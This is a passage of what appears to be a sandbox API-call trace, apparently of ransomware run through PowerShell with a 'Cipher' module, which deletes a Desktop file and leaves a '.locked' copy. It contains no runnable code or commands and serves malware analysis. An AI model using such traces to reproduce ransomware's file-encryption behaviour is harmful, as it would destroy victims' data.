lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.335] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0128.335] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.335] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.336] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.336] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.336] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3\\", lpFilePart=0x0) returned 0x2d [0128.336] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.336] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.336] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.336] CoTaskMemFree (pv=0x8ebb8c8) [0128.337] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0128.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6904a4c | out: lpFileInformation=0x6904a4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fba6d50, ftCreationTime.dwHighDateTime=0x1d4a5d4, ftLastAccessTime.dwLowDateTime=0x22b5b8f0, ftLastAccessTime.dwHighDateTime=0x1d4abfc, ftLastWriteTime.dwLowDateTime=0x22b5b8f0, ftLastWriteTime.dwHighDateTime=0x1d4abfc, nFileSizeHigh=0x0, nFileSizeLow=0x14567)) returned 1 [0128.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.338] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 1 [0128.339] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.340] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xda00\x8df") returned 0x0 [0128.340] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.340] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.340] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.342] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3.locked")) returned 0x20 [0128.342] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3.locked")) returned 0x20 [0128.342] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", lpFilePart=0x0) returned 0x33 [0128.342] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", lpFilePart=0x0) returned 0x33 [0128.342] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.343] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.343] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.344] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.344] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.347] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.348] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.348] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.348] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.348] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.350] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.351] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.351] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.351] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.351] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.353] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.354] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.354] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.354] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.356] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.356] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.357] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.357] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.357] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.358] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6912c60 | out: lpFileInformation=0x6912c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb23525, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xfb23525, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xfb6f97a, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x14584)) returned 1 [0128.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", lpFilePart=0x0) returned 0x33 [0128.361] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0128.361] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.361] CloseHandle (hObject=0x868) returned 1 [0128.364] GetConsoleOutputCP () returned 0x1b5 [0128.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.365] GetConsoleOutputCP () returned 0x1b5 [0128.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.366] GetConsoleOutputCP () returned 0x1b5 [0128.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.366] GetConsoleOutputCP () returned 0x1b5 [0128.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.366] GetConsoleOutputCP () returned 0x1b5 [0128.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.367] GetConsoleOutputCP () returned 0x1b5 [0128.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.367] GetConsoleOutputCP () returned 0x1b5 [0128.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.368] GetConsoleOutputCP () returned 0x1b5 [0128.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.368] GetConsoleOutputCP () returned 0x1b5 [0128.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.368] GetConsoleOutputCP () returned 0x1b5 [0128.369] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.369] GetConsoleOutputCP () returned 0x1b5 [0128.369] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.369] GetConsoleOutputCP () returned 0x1b5 [0128.370] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.370] GetConsoleOutputCP () returned 0x1b5 [0128.370] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.370] GetConsoleOutputCP () returned 0x1b5 [0128.370] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.370] GetConsoleOutputCP () returned 0x1b5 [0128.371] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.371] GetConsoleOutputCP () returned 0x1b5 [0128.371] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.372] GetConsoleOutputCP () returned 0x1b5 [0128.372] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.372] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.372] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x693a270*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x693a270*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.373] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.373] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.378] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.379] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x2c00\x68f\x2cac\x68f\x2c64\x68f\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.379] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.379] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 